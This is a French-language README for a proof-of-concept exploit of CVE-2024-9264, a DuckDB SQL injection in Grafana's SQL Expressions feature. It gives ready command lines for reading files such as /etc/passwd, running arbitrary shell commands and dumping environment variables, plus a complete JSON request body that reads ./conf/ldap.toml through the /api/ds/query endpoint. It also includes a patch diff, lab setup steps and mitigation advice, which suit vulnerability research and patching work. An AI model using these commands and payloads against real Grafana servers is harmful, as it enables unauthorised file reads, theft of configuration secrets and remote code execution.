
Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
Cette PoC démontre l'exploitation de CVE-2024-9264 en utilisant un utilisateur authentifié pour exécuter une requête SQL DuckDB et lire un fichier arbitraire sur le système de fichiers ou exécuter du code arbitraire à distance.
Le code arbitraire ne peut être exécuté que sur Grafana v11.0.0.
Les fichiers peuvent être lus dans toutes les versions vulnérables.
Configuration : Installez les dépendances requises via :
pip install -r requirements.txt
Lecture de fichier (universel) :
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Exécution de commande (v11.0.0 uniquement)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
Vous pouvez également exécuter des requêtes DuckDB arbitraires, comme appeler getenv pour récupérer les variables d'environnement :
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
La liste des fonctions utilitaires DuckDB qui peuvent être exploitées se trouve ici.
CVE-2024-9264 est une vulnérabilité d'injection SQL DuckDB dans la fonctionnalité expérimentale SQL Expressions de Grafana. Tout utilisateur authentifié peut exécuter des requêtes SQL DuckDB arbitraires via des expressions modifiées dans les tableaux de bord Grafana.
Versions affectées :
Versions corrigées :
Grafana a publié des versions spéciales pour corriger cette vulnérabilité. Pour analyser le correctif, les commandes suivantes peuvent être utilisées pour comparer les modifications :
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Cela révèle que la fonctionnalité SQL Expressions a simplement été supprimée des versions vulnérables.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
Le correctif supprime complètement SQL Expressions, empêchant ainsi toute possibilité d'exploitation.
Lancer Grafana : Exécutez Grafana avec la version 11.0.5 :
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Modifier une expression :
Créez un tableau de bord avec une expression comme "Math", interceptez la requête avec Burp, et modifiez le type datasource de math à sql.
Une requête HTTP sera envoyée à /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
Voici le JSON minimal requis pour effectuer une requête SQL DuckDB afin de lire un fichier arbitraire comme ./conf/ldap.toml :
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
Aucun tableau de bord n'est nécessaire pour l'exploitation réelle, c'est juste un moyen facile de trouver la requête HTTP pour exécuter une requête.
Il est important de noter que bien que cette vulnérabilité soit critique, son exploitabilité dépend de la présence du binaire DuckDB sur le serveur Grafana. Par défaut, Grafana n'est pas livré avec DuckDB installé, et il n'y a aucune option pour l'installer directement depuis l'interface Grafana.
Pour que cette vulnérabilité soit exploitable, un administrateur doit avoir installé manuellement DuckDB et l'avoir ajouté au $PATH du serveur Grafana. Si DuckDB n'est pas présent, la vulnérabilité d'injection SQL ne peut pas être exploitée, ce qui réduit considérablement la probabilité d'une exploitation réussie dans les installations par défaut.
Mettez à jour Grafana vers les versions corrigées, et assurez-vous que le binaire DuckDB n'est pas présent dans le $PATH si le correctif est retardé.